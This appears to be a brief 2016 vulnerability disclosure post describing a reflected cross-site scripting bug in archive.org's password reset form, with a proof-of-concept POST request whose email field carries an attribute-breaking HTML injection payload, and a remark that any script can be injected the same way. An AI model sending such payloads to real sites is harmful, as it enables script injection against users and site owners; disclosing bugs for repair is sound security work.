Archive.org password reset form XSS bug

Vulnerable page: http://archive.org/account/

PoC

POST /account/login.forgotpw.php HTTP/1.1
Host: archive.org
email="><img src=http://te-home.net/images/logo.png>

You can either include any XSS code in email input box, or request any XSS code directly using POST method and email parameter.

Note: This is a proof of concept and it doesn't reflect the views or interests of above websites.

Posted by RoLex on 2016-03-19 23:57 ⋅ 7 likes

Comments